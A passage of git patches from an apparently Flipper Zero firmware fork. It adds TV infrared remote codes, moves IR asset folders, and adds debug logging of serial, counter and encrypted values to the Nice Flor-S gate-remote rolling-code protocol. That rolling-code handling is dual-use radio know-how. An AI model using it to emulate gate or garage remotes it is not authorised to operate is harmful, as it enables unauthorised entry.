100644 index 000000000..8f5a67e63 --- /dev/null +++ b/assets/resources/infrared/assets/TVs/Tcl_32s327.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 17 E8 00 00 +# +name: Vup +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 0F F0 00 00 +# +name: Vdwn +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 10 EF 00 00 +# +name: Enter +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 2A D5 00 00 +# +name: Up +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 19 E6 00 00 +# +name: Dwn +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 33 CC 00 00 +# +name: Rt +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 2D D2 00 00 +# +name: Lft +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 1E E1 00 00 +# +name: Home +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 03 FC 00 00 +# +name: Exit +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 66 99 00 00 diff --git a/assets/resources/infrared/assets/TVs/Tcl_tv.ir b/assets/resources/infrared/assets/TVs/Tcl_tv.ir new file mode 100644 index 000000000..068867c36 --- /dev/null +++ b/assets/resources/infrared/assets/TVs/Tcl_tv.ir @@ -0,0 +1,50 @@ +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 17 E8 00 00 +# +name: Home +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 03 FC 00 00 +# +name: Left +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 1E E1 00 00 +# +name: Select +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 2A D5 00 00 +# +name: Right +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 2D D2 00 00 +# +name: Mute +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 20 DF 00 00 +# +name: Vol_up +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 0F F0 00 00 +# +name: Vol_down +type: parsed +protocol: NECext +address: EA C7 00 00 +command: 10 EF 00 00 + diff --git a/assets/resources/infrared/assets/TVs/Vizio.ir b/assets/resources/infrared/assets/TVs/Vizio.ir new file mode 100644 index 000000000..e9cc9df5f --- /dev/null +++ b/assets/resources/infrared/assets/TVs/Vizio.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 08 00 00 00 +# +name: Input +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 2F 00 00 00 +# +name: Vol_up +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 02 00 00 00 +# +name: Vol_down +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 03 00 00 00 +# +name: Ch_up +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 00 00 00 00 +# +name: Ch_down +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 01 00 00 00 +# +name: Mute +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 09 00 00 00 +# +name: Up +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 45 00 00 00 +# +name: Down +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 46 00 00 00 +# +name: Right +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 48 00 00 00 +# +name: Left +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 47 00 00 00 +# +name: Home +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 2D 00 00 00 +# +name: Back +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 4A 00 00 00 +# +name: Menu +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 4F 00 00 00 +# +name: Previous +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: Info +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 1B 00 00 00 +# +name: Enter +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 44 00 00 00 diff --git a/assets/resources/infrared/assets/TVs/Westinghouse.ir b/assets/resources/infrared/assets/TVs/Westinghouse.ir new file mode 100644 index 000000000..6f254ef8a --- /dev/null +++ b/assets/resources/infrared/assets/TVs/Westinghouse.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 46 B9 00 00 +# +name: V_up +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 0C F3 00 00 +# +name: V_dwn +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 19 E6 00 00 +# +name: Up +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 48 B7 00 00 +# +name: Dwn +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 4D B2 00 00 +# +name: Rt +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 49 B6 00 00 +# +name: Lft +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 4E B1 00 00 +# +name: Enter +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 4A B5 00 00 +# +name: Exit +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 0D F2 00 00 +# +name: Mute +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 4C B3 00 00 +# +name: Source +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 4B B4 00 00 +# +name: Menu +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 45 BA 00 00 +# +name: Ch_up +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 0F F0 00 00 +# +name: Ch_dwn +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 5A A5 00 00 +# +name: Return +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 16 E9 00 00 diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index c72387243..4cbbe29a6 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -128,6 +128,9 @@ static bool } instance->generic.cnt++; + FURI_LOG_I(TAG, "serial = %X", instance->generic.serial); + FURI_LOG_I(TAG, "counter = %X", instance->generic.cnt); + FURI_LOG_I(TAG, "button = %X", btn); uint64_t decrypt = (uint64_t)( (instance->generic.serial << 16) | (instance->generic.cnt) ); FURI_LOG_I(TAG, "decrypt = %X", decrypt); uint64_t enc_part = (uint64_t)subghz_protocol_nice_flor_s_encrypt(decrypt, file_name); @@ -320,7 +323,7 @@ uint64_t subghz_protocol_nice_flor_s_encrypt(uint64_t data, const char* file_nam k = ~p[3]; p[3] = ~p[1]; p[1] = k; - + FURI_LOG_I(TAG, "encrypted_data = %X", data); return data; } @@ -359,6 +362,7 @@ static uint64_t p[1] = k; } } + FURI_LOG_I(TAG, "decrypted_data = %X", data); return data; } From e3a53846ba2aa75a273ce3a5ffd7f36aaed186fe Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 31 Mar 2022 15:17:26 +0300 Subject: [PATCH 036/461] flipper doesnt see new assets --- assets/resources/infrared/assets/{Cable Boxes => }/Amino_amigo.ir | 0 assets/resources/infrared/assets/{SoundBars => }/Amz_snd_bar.ir | 0 assets/resources/infrared/assets/{ETC => }/Apple_tv.ir | 0 assets/resources/infrared/assets/{Projectors => }/BenQ.ir | 0 .../infrared/assets/{Projectors => }/Casio-Projector_yt130.ir | 0 assets/resources/infrared/assets/{CCTV => }/Cv610_remote.ir | 0 .../infrared/assets/{Projectors => }/Da_lite_proj_scrn.ir | 0 assets/resources/infrared/assets/{Cable Boxes => }/Direct_tv.ir | 0 .../resources/infrared/assets/{Projectors => }/Dragonfly_scrn.ir | 0 assets/resources/infrared/assets/{ACs => }/Dreo_heater.ir | 0 .../resources/infrared/assets/{ACs => }/Dyson_air_multiplier.ir | 0 assets/resources/infrared/assets/{ACs => }/Dyson_hp09.ir | 0 assets/resources/infrared/assets/{Projectors => }/Epson.ir | 0 assets/resources/infrared/assets/{ETC => }/Hdmi_switch.ir | 0 assets/resources/infrared/assets/{ACs => }/LG_AC.ir | 0 assets/resources/infrared/assets/{BluRay => }/LG_BlueRay.ir | 0 assets/resources/infrared/assets/{TVs => }/LG_C1.ir | 0 assets/resources/infrared/assets/{ACs => }/Lasko_fan.ir | 0 assets/resources/infrared/assets/{ACs => }/Lasko_heater.ir | 0 assets/resources/infrared/assets/{TVs => }/NEC.ir | 0 assets/resources/infrared/assets/{Cameras => }/Nikon.ir | 0 assets/resources/infrared/assets/{SoundBars => }/Old_sonyxbr.ir | 0 assets/resources/infrared/assets/{TVs => }/Panasonic_TC-P50S2.ir | 0 .../resources/infrared/assets/{Head Units => }/Pioneer_1770nex.ir | 0 assets/resources/infrared/assets/{ETC => }/Roku.ir | 0 assets/resources/infrared/assets/{ETC => }/Roku2.ir | 0 assets/resources/infrared/assets/{TVs => }/Samsung.ir | 0 assets/resources/infrared/assets/{TVs => }/Samsung_TV.ir | 0 assets/resources/infrared/assets/{TVs => }/Samsung_e6.ir | 0 assets/resources/infrared/assets/{Projectors => }/Scrn_innov.ir | 0 assets/resources/infrared/assets/{TVs => }/Sharp_Roku_TV.ir | 0 assets/resources/infrared/assets/{TVs => }/Sonyxbr.ir | 0 assets/resources/infrared/assets/{Projectors => }/Stlth_acou.ir | 0 assets/resources/infrared/assets/{TVs => }/Sunbrite.ir | 0 assets/resources/infrared/assets/{CCTV => }/Szxlcom_cams.ir | 0 assets/resources/infrared/assets/{TVs => }/Tcl.ir | 0 assets/resources/infrared/assets/{TVs => }/Tcl_32s327.ir | 0 assets/resources/infrared/assets/{TVs => }/Tcl_tv.ir | 0 assets/resources/infrared/assets/{TVs => }/Vizio.ir | 0 .../resources/infrared/assets/{SoundBars => }/Vizio_Soundbar.ir | 0 assets/resources/infrared/assets/{ACs => }/Vornado.ir | 0 assets/resources/infrared/assets/{TVs => }/Westinghouse.ir | 0 assets/resources/infrared/assets/{ACs => }/Whynter_AC.ir | 0 assets/resources/infrared/assets/{Consoles => }/Xbox.ir | 0 assets/resources/infrared/assets/{SoundBars => }/Yamaha_rx.ir | 0 assets/resources/infrared/assets/{ACs => }/Zenith_AC.ir | 0 46 files changed, 0 insertions(+), 0 deletions(-) rename assets/resources/infrared/assets/{Cable Boxes => }/Amino_amigo.ir (100%) rename assets/resources/infrared/assets/{SoundBars => }/Amz_snd_bar.ir (100%) rename assets/resources/infrared/assets/{ETC => }/Apple_tv.ir (100%) rename assets/resources/infrared/assets/{Projectors => }/BenQ.ir (100%) rename assets/resources/infrared/assets/{Projectors => }/Casio-Projector_yt130.ir (100%) rename assets/resources/infrared/assets/{CCTV => }/Cv610_remote.ir (100%) rename assets/resources/infrared/assets/{Projectors => }/Da_lite_proj_scrn.ir (100%) rename assets/resources/infrared/assets/{Cable Boxes => }/Direct_tv.ir (100%) rename assets/resources/infrared/assets/{Projectors => }/Dragonfly_scrn.ir (100%) rename assets/resources/infrared/assets/{ACs => }/Dreo_heater.ir (100%) rename assets/resources/infrared/assets/{ACs => }/Dyson_air_multiplier.ir (100%) rename assets/resources/infrared/assets/{ACs => }/Dyson_hp09.ir (100%) rename assets/resources/infrared/assets/{Projectors => }/Epson.ir (100%) rename assets/resources/infrared/assets/{ETC => }/Hdmi_switch.ir (100%) rename assets/resources/infrared/assets/{ACs => }/LG_AC.ir (100%) rename assets/resources/infrared/assets/{BluRay => }/LG_BlueRay.ir (100%) rename assets/resources/infrared/assets/{TVs => }/LG_C1.ir (100%) rename assets/resources/infrared/assets/{ACs => }/Lasko_fan.ir (100%) rename assets/resources/infrared/assets/{ACs => }/Lasko_heater.ir (100%) rename assets/resources/infrared/assets/{TVs => }/NEC.ir (100%) rename assets/resources/infrared/assets/{Cameras => }/Nikon.ir (100%) rename assets/resources/infrared/assets/{SoundBars => }/Old_sonyxbr.ir (100%) rename assets/resources/infrared/assets/{TVs => }/Panasonic_TC-P50S2.ir (100%) rename assets/resources/infrared/assets/{Head Units => }/Pioneer_1770nex.ir (100%) rename assets/resources/infrared/assets/{ETC => }/Roku.ir (100%) rename assets/resources/infrared/assets/{ETC => }/Roku2.ir (100%) rename assets/resources/infrared/assets/{TVs => }/Samsung.ir (100%) rename assets/resources/infrared/assets/{TVs => }/Samsung_TV.ir (100%) rename assets/resources/infrared/assets/{TVs => }/Samsung_e6.ir (100%) rename assets/resources/infrared/assets/{Projectors => }/Scrn_innov.ir (100%) rename assets/resources/infrared/assets/{TVs => }/Sharp_Roku_TV.ir (100%) rename assets/resources/infrared/assets/{TVs => }/Sonyxbr.ir (100%) rename assets/resources/infrared/assets/{Projectors => }/Stlth_acou.ir (100%) rename assets/resources/infrared/assets/{TVs => }/Sunbrite.ir (100%) rename assets/resources/infrared/assets/{CCTV => }/Szxlcom_cams.ir (100%) rename assets/resources/infrared/assets/{TVs => }/Tcl.ir (100%) rename assets/resources/infrared/assets/{TVs => }/Tcl_32s327.ir (100%) rename assets/resources/infrared/assets/{TVs => }/Tcl_tv.ir (100%) rename assets/resources/infrared/assets/{TVs => }/Vizio.ir (100%) rename assets/resources/infrared/assets/{SoundBars => }/Vizio_Soundbar.ir (100%) rename assets/resources/infrared/assets/{ACs => }/Vornado.ir (100%) rename assets/resources/infrared/assets/{TVs => }/Westinghouse.ir (100%) rename assets/resources/infrared/assets/{ACs => }/Whynter_AC.ir (100%) rename assets/resources/infrared/assets/{Consoles => }/Xbox.ir (100%) rename assets/resources/infrared/assets/{SoundBars => }/Yamaha_rx.ir (100%) rename assets/resources/infrared/assets/{ACs => }/Zenith_AC.ir (100%) diff --git a/assets/resources/infrared/assets/Cable Boxes/Amino_amigo.ir b/assets/resources/infrared/assets/Amino_amigo.ir similarity index 100% rename from assets/resources/infrared/assets/Cable Boxes/Amino_amigo.ir rename to assets/resources/infrared/assets/Amino_amigo.ir diff --git a/assets/resources/infrared/assets/SoundBars/Amz_snd_bar.ir b/assets/resources/infrared/assets/Amz_snd_bar.ir similarity index 100% rename from assets/resources/infrared/assets/SoundBars/Amz_snd_bar.ir rename to assets/resources/infrared/assets/Amz_snd_bar.ir diff --git a/assets/resources/infrared/assets/ETC/Apple_tv.ir b/assets/resources/infrared/assets/Apple_tv.ir similarity index 100% rename from assets/resources/infrared/assets/ETC/Apple_tv.ir rename to assets/resources/infrared/assets/Apple_tv.ir diff --git a/assets/resources/infrared/assets/Projectors/BenQ.ir b/assets/resources/infrared/assets/BenQ.ir similarity index 100% rename from assets/resources/infrared/assets/Projectors/BenQ.ir rename to assets/resources/infrared/assets/BenQ.ir diff --git a/assets/resources/infrared/assets/Projectors/Casio-Projector_yt130.ir b/assets/resources/infrared/assets/Casio-Projector_yt130.ir similarity index 100% rename from assets/resources/infrared/assets/Projectors/Casio-Projector_yt130.ir rename to assets/resources/infrared/assets/Casio-Projector_yt130.ir diff --git a/assets/resources/infrared/assets/CCTV/Cv610_remote.ir b/assets/resources/infrared/assets/Cv610_remote.ir similarity index 100% rename from assets/resources/infrared/assets/CCTV/Cv610_remote.ir rename to assets/resources/infrared/assets/Cv610_remote.ir diff --git a/assets/resources/infrared/assets/Projectors/Da_lite_proj_scrn.ir b/assets/resources/infrared/assets/Da_lite_proj_scrn.ir similarity index 100% rename from assets/resources/infrared/assets/Projectors/Da_lite_proj_scrn.ir rename to assets/resources/infrared/assets/Da_lite_proj_scrn.ir diff --git a/assets/resources/infrared/assets/Cable Boxes/Direct_tv.ir b/assets/resources/infrared/assets/Direct_tv.ir similarity index 100% rename from assets/resources/infrared/assets/Cable Boxes/Direct_tv.ir rename to assets/resources/infrared/assets/Direct_tv.ir diff --git a/assets/resources/infrared/assets/Projectors/Dragonfly_scrn.ir b/assets/resources/infrared/assets/Dragonfly_scrn.ir similarity index 100% rename from assets/resources/infrared/assets/Projectors/Dragonfly_scrn.ir rename to assets/resources/infrared/assets/Dragonfly_scrn.ir diff --git a/assets/resources/infrared/assets/ACs/Dreo_heater.ir b/assets/resources/infrared/assets/Dreo_heater.ir similarity index 100% rename from assets/resources/infrared/assets/ACs/Dreo_heater.ir rename to assets/resources/infrared/assets/Dreo_heater.ir diff --git a/assets/resources/infrared/assets/ACs/Dyson_air_multiplier.ir b/assets/resources/infrared/assets/Dyson_air_multiplier.ir similarity index 100% rename from assets/resources/infrared/assets/ACs/Dyson_air_multiplier.ir rename to assets/resources/infrared/assets/Dyson_air_multiplier.ir diff --git a/assets/resources/infrared/assets/ACs/Dyson_hp09.ir b/assets/resources/infrared/assets/Dyson_hp09.ir similarity index 100% rename from assets/resources/infrared/assets/ACs/Dyson_hp09.ir rename to assets/resources/infrared/assets/Dyson_hp09.ir diff --git a/assets/resources/infrared/assets/Projectors/Epson.ir b/assets/resources/infrared/assets/Epson.ir similarity index 100% rename from assets/resources/infrared/assets/Projectors/Epson.ir rename to assets/resources/infrared/assets/Epson.ir diff --git a/assets/resources/infrared/assets/ETC/Hdmi_switch.ir b/assets/resources/infrared/assets/Hdmi_switch.ir similarity index 100% rename from assets/resources/infrared/assets/ETC/Hdmi_switch.ir rename to assets/resources/infrared/assets/Hdmi_switch.ir diff --git a/assets/resources/infrared/assets/ACs/LG_AC.ir b/assets/resources/infrared/assets/LG_AC.ir similarity index 100% rename from assets/resources/infrared/assets/ACs/LG_AC.ir rename to assets/resources/infrared/assets/LG_AC.ir diff --git a/assets/resources/infrared/assets/BluRay/LG_BlueRay.ir b/assets/resources/infrared/assets/LG_BlueRay.ir similarity index 100% rename from assets/resources/infrared/assets/BluRay/LG_BlueRay.ir rename to assets/resources/infrared/assets/LG_BlueRay.ir diff --git a/assets/resources/infrared/assets/TVs/LG_C1.ir b/assets/resources/infrared/assets/LG_C1.ir similarity index 100% rename from assets/resources/infrared/assets/TVs/LG_C1.ir rename to assets/resources/infrared/assets/LG_C1.ir diff --git a/assets/resources/infrared/assets/ACs/Lasko_fan.ir b/assets/resources/infrared/assets/Lasko_fan.ir similarity index 100% rename from assets/resources/infrared/assets/ACs/Lasko_fan.ir rename to assets/resources/infrared/assets/Lasko_fan.ir diff --git a/assets/resources/infrared/assets/ACs/Lasko_heater.ir b/assets/resources/infrared/assets/Lasko_heater.ir similarity index 100% rename from assets/resources/infrared/assets/ACs/Lasko_heater.ir rename to assets/resources/infrared/assets/Lasko_heater.ir diff --git a/assets/resources/infrared/assets/TVs/NEC.ir b/assets/resources/infrared/assets/NEC.ir similarity index 100% rename from assets/resources/infrared/assets/TVs/NEC.ir rename to assets/resources/infrared/assets/NEC.ir diff --git a/assets/resources/infrared/assets/Cameras/Nikon.ir b/assets/resources/infrared/assets/Nikon.ir similarity index 100% rename from assets/resources/infrared/assets/Cameras/Nikon.ir rename to assets/resources/infrared/assets/Nikon.ir diff --git a/assets/resources/infrared/assets/SoundBars/Old_sonyxbr.ir b/assets/resources/infrared/assets/Old_sonyxbr.ir similarity index 100% rename from assets/resources/infrared/assets/SoundBars/Old_sonyxbr.ir rename to assets/resources/infrared/assets/Old_sonyxbr.ir diff --git a/assets/resources/infrared/assets/TVs/Panasonic_TC-P50S2.ir b/assets/resources/infrared/assets/Panasonic_TC-P50S2.ir similarity index 100% rename from assets/resources/infrared/assets/TVs/Panasonic_TC-P50S2.ir rename to assets/resources/infrared/assets/Panasonic_TC-P50S2.ir diff --git a/assets/resources/infrared/assets/Head Units/Pioneer_1770nex.ir b/assets/resources/infrared/assets/Pioneer_1770nex.ir similarity index 100% rename from assets/resources/infrared/assets/Head Units/Pioneer_1770nex.ir rename to assets/resources/infrared/assets/Pioneer_1770nex.ir diff --git a/assets/resources/infrared/assets/ETC/Roku.ir b/assets/resources/infrared/assets/Roku.ir similarity index 100% rename from assets/resources/infrared/assets/ETC/Roku.ir rename to assets/resources/infrared/assets/Roku.ir diff --git a/assets/resources/infrared/assets/ETC/Roku2.ir b/assets/resources/infrared/assets/Roku2.ir similarity index 100% rename from assets/resources/infrared/assets/ETC/Roku2.ir rename to assets/resources/infrared/assets/Roku2.ir diff --git a/assets/resources/infrared/assets/TVs/Samsung.ir b/assets/resources/infrared/assets/Samsung.ir similarity index 100% rename from assets/resources/infrared/assets/TVs/Samsung.ir rename to assets/resources/infrared/assets/Samsung.ir diff --git a/assets/resources/infrared/assets/TVs/Samsung_TV.ir b/assets/resources/infrared/assets/Samsung_TV.ir similarity index 100% rename from assets/resources/infrared/assets/TVs/Samsung_TV.ir rename to assets/resources/infrared/assets/Samsung_TV.ir diff --git a/assets/resources/infrared/assets/TVs/Samsung_e6.ir b/assets/resources/infrared/assets/Samsung_e6.ir similarity index 100% rename from assets/resources/infrared/assets/TVs/Samsung_e6.ir rename to assets/resources/infrared/assets/Samsung_e6.ir diff --git a/assets/resources/infrared/assets/Projectors/Scrn_innov.ir b/assets/resources/infrared/assets/Scrn_innov.ir similarity index 100% rename from assets/resources/infrared/assets/Projectors/Scrn_innov.ir rename to assets/resources/infrared/assets/Scrn_innov.ir diff --git a/assets/resources/infrared/assets/TVs/Sharp_Roku_TV.ir b/assets/resources/infrared/assets/Sharp_Roku_TV.ir similarity index 100% rename from assets/resources/infrared/assets/TVs/Sharp_Roku_TV.ir rename to assets/resources/infrared/assets/Sharp_Roku_TV.ir diff --git a/assets/resources/infrared/assets/TVs/Sonyxbr.ir b/assets/resources/infrared/assets/Sonyxbr.ir similarity index 100% rename from assets/resources/infrared/assets/TVs/Sonyxbr.ir rename to assets/resources/infrared/assets/Sonyxbr.ir diff --git a/assets/resources/infrared/assets/Projectors/Stlth_acou.ir b/assets/resources/infrared/assets/Stlth_acou.ir similarity index 100% rename from assets/resources/infrared/assets/Projectors/Stlth_acou.ir rename to assets/resources/infrared/assets/Stlth_acou.ir diff --git a/assets/resources/infrared/assets/TVs/Sunbrite.ir b/assets/resources/infrared/assets/Sunbrite.ir similarity index 100% rename from assets/resources/infrared/assets/TVs/Sunbrite.ir rename to assets/resources/infrared/assets/Sunbrite.ir diff --git a/assets/resources/infrared/assets/CCTV/Szxlcom_cams.ir b/assets/resources/infrared/assets/Szxlcom_cams.ir similarity index 100% rename from assets/resources/infrared/assets/CCTV/Szxlcom_cams.ir rename to assets/resources/infrared/assets/Szxlcom_cams.ir diff --git a/assets/resources/infrared/assets/TVs/Tcl.ir b/assets/resources/infrared/assets/Tcl.ir similarity index 100% rename from assets/resources/infrared/assets/TVs/Tcl.ir rename to assets/resources/infrared/assets/Tcl.ir diff --git a/assets/resources/infrared/assets/TVs/Tcl_32s327.ir b/assets/resources/infrared/assets/Tcl_32s327.ir similarity index 100% rename from assets/resources/infrared/assets/TVs/Tcl_32s327.ir rename to assets/resources/infrared/assets/Tcl_32s327.ir diff --git a/assets/resources/infrared/assets/TVs/Tcl_tv.ir b/assets/resources/infrared/assets/Tcl_tv.ir similarity index 100% rename from assets/resources/infrared/assets/TVs/Tcl_tv.ir rename to assets/resources/infrared/assets/Tcl_tv.ir diff --git a/assets/resources/infrared/assets/TVs/Vizio.ir b/assets/resources/infrared/assets/Vizio.ir similarity index 100% rename from assets/resources/infrared/assets/TVs/Vizio.ir rename to assets/resources/infrared/assets/Vizio.ir diff --git a/assets/resources/infrared/assets/SoundBars/Vizio_Soundbar.ir b/assets/resources/infrared/assets/Vizio_Soundbar.ir similarity index 100% rename from assets/resources/infrared/assets/SoundBars/Vizio_Soundbar.ir rename to assets/resources/infrared/assets/Vizio_Soundbar.ir diff --git a/assets/resources/infrared/assets/ACs/Vornado.ir b/assets/resources/infrared/assets/Vornado.ir similarity index 100% rename from assets/resources/infrared/assets/ACs/Vornado.ir rename to assets/resources/infrared/assets/Vornado.ir diff --git a/assets/resources/infrared/assets/TVs/Westinghouse.ir b/assets/resources/infrared/assets/Westinghouse.ir similarity index 100% rename from assets/resources/infrared/assets/TVs/Westinghouse.ir rename to assets/resources/infrared/assets/Westinghouse.ir diff --git a/assets/resources/infrared/assets/ACs/Whynter_AC.ir b/assets/resources/infrared/assets/Whynter_AC.ir similarity index 100% rename from assets/resources/infrared/assets/ACs/Whynter_AC.ir rename to assets/resources/infrared/assets/Whynter_AC.ir diff --git a/assets/resources/infrared/assets/Consoles/Xbox.ir b/assets/resources/infrared/assets/Xbox.ir similarity index 100% rename from assets/resources/infrared/assets/Consoles/Xbox.ir rename to assets/resources/infrared/assets/Xbox.ir diff --git a/assets/resources/infrared/assets/SoundBars/Yamaha_rx.ir b/assets/resources/infrared/assets/Yamaha_rx.ir similarity index 100% rename from assets/resources/infrared/assets/SoundBars/Yamaha_rx.ir rename to assets/resources/infrared/assets/Yamaha_rx.ir diff --git a/assets/resources/infrared/assets/ACs/Zenith_AC.ir b/assets/resources/infrared/assets/Zenith_AC.ir similarity index 100% rename from assets/resources/infrared/assets/ACs/Zenith_AC.ir rename to assets/resources/infrared/assets/Zenith_AC.ir From 8dd729b9c2eb25e5fe36761ff8b55ef0984e6311 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 31 Mar 2022 19:02:05 +0300 Subject: [PATCH 037/461] fix ir assets directory --- assets/resources/infrared/{assets => }/Amino_amigo.ir | 0 assets/resources/infrared/{assets => }/Amz_snd_bar.ir | 0 assets/resources/infrared/{assets => }/Apple_tv.ir | 0 assets/resources/infrared/{assets => }/BenQ.ir | 0 assets/resources/infrared/{assets => }/Casio-Projector_yt130.ir | 0 assets/resources/infrared/{assets => }/Cv610_remote.ir | 0 assets/resources/infrared/{assets => }/Da_lite_proj_scrn.ir | 0 assets/resources/infrared/{assets => }/Direct_tv.ir | 0 assets/resources/infrared/{assets => }/Dragonfly_scrn.ir | 0 assets/resources/infrared/{assets => }/Dreo_heater.ir | 0 assets/resources/infrared/{assets => }/Dyson_air_multiplier.ir | 0 assets/resources/infrared/{assets => }/Dyson_hp09.ir | 0 assets/resources/infrared/{assets => }/Epson.ir | 0 assets/resources/infrared/{assets => }/Hdmi_switch.ir | 0 assets/resources/infrared/{assets => }/LG_AC.ir | 0 assets/resources/infrared/{assets => }/LG_BlueRay.ir | 0 assets/resources/infrared/{assets => }/LG_C1.ir | 0 assets/resources/infrared/{assets => }/Lasko_fan.ir | 0 assets/resources/infrared/{assets => }/Lasko_heater.ir | 0 assets/resources/infrared/{assets => }/NEC.ir | 0 assets/resources/infrared/{assets => }/Nikon.ir | 0 assets/resources/infrared/{assets => }/Old_sonyxbr.ir | 0 assets/resources/infrared/{assets => }/Panasonic_TC-P50S2.ir | 0 assets/resources/infrared/{assets => }/Pioneer_1770nex.ir | 0 assets/resources/infrared/{assets => }/Roku.ir | 0 assets/resources/infrared/{assets => }/Roku2.ir | 0 assets/resources/infrared/{assets => }/Samsung.ir | 0 assets/resources/infrared/{assets => }/Samsung_TV.ir | 0 assets/resources/infrared/{assets => }/Samsung_e6.ir | 0 assets/resources/infrared/{assets => }/Scrn_innov.ir | 0 assets/resources/infrared/{assets => }/Sharp_Roku_TV.ir | 0 assets/resources/infrared/{assets => }/Sonyxbr.ir | 0 assets/resources/infrared/{assets => }/Stlth_acou.ir | 0 assets/resources/infrared/{assets => }/Sunbrite.ir | 0 assets/resources/infrared/{assets => }/Szxlcom_cams.ir | 0 assets/resources/infrared/{assets => }/Tcl.ir | 0 assets/resources/infrared/{assets => }/Tcl_32s327.ir | 0 assets/resources/infrared/{assets => }/Tcl_tv.ir | 0 assets/resources/infrared/{assets => }/Vizio.ir | 0 assets/resources/infrared/{assets => }/Vizio_Soundbar.ir | 0 assets/resources/infrared/{assets => }/Vornado.ir | 0 assets/resources/infrared/{assets => }/Westinghouse.ir | 0 assets/resources/infrared/{assets => }/Whynter_AC.ir | 0 assets/resources/infrared/{assets => }/Xbox.ir | 0 assets/resources/infrared/{assets => }/Yamaha_rx.ir | 0 assets/resources/infrared/{assets => }/Zenith_AC.ir | 0 46 files changed, 0 insertions(+), 0 deletions(-) rename assets/resources/infrared/{assets => }/Amino_amigo.ir (100%) rename assets/resources/infrared/{assets => }/Amz_snd_bar.ir (100%) rename assets/resources/infrared/{assets => }/Apple_tv.ir (100%) rename assets/resources/infrared/{assets => }/BenQ.ir (100%) rename assets/resources/infrared/{assets => }/Casio-Projector_yt130.ir (100%) rename assets/resources/infrared/{assets => }/Cv610_remote.ir (100%) rename assets/resources/infrared/{assets => }/Da_lite_proj_scrn.ir (100%) rename assets/resources/infrared/{assets => }/Direct_tv.ir (100%) rename assets/resources/infrared/{assets => }/Dragonfly_scrn.ir (100%) rename assets/resources/infrared/{assets => }/Dreo_heater.ir (100%) rename assets/resources/infrared/{assets => }/Dyson_air_multiplier.ir (100%) rename assets/resources/infrared/{assets => }/Dyson_hp09.ir (100%) rename assets/resources/infrared/{assets => }/Epson.ir (100%) rename assets/resources/infrared/{assets => }/Hdmi_switch.ir (100%) rename assets/resources/infrared/{assets => }/LG_AC.ir (100%) rename assets/resources/infrared/{assets => }/LG_BlueRay.ir (100%) rename assets/resources/infrared/{assets => }/LG_C1.ir (100%) rename assets/resources/infrared/{assets => }/Lasko_fan.ir (100%) rename assets/resources/infrared/{assets => }/Lasko_heater.ir (100%) rename assets/resources/infrared/{assets => }/NEC.ir (100%) rename assets/resources/infrared/{assets => }/Nikon.ir (100%) rename assets/resources/infrared/{assets => }/Old_sonyxbr.ir (100%) rename assets/resources/infrared/{assets => }/Panasonic_TC-P50S2.ir (100%) rename assets/resources/infrared/{assets => }/Pioneer_1770nex.ir (100%) rename assets/resources/infrared/{assets => }/Roku.ir (100%) rename assets/resources/infrared/{assets => }/Roku2.ir (100%) rename assets/resources/infrared/{assets => }/Samsung.ir (100%) rename assets/resources/infrared/{assets => }/Samsung_TV.ir (100%) rename assets/resources/infrared/{assets => }/Samsung_e6.ir (100%) rename assets/resources/infrared/{assets => }/Scrn_innov.ir (100%) rename assets/resources/infrared/{assets => }/Sharp_Roku_TV.ir (100%) rename assets/resources/infrared/{assets => }/Sonyxbr.ir (100%) rename 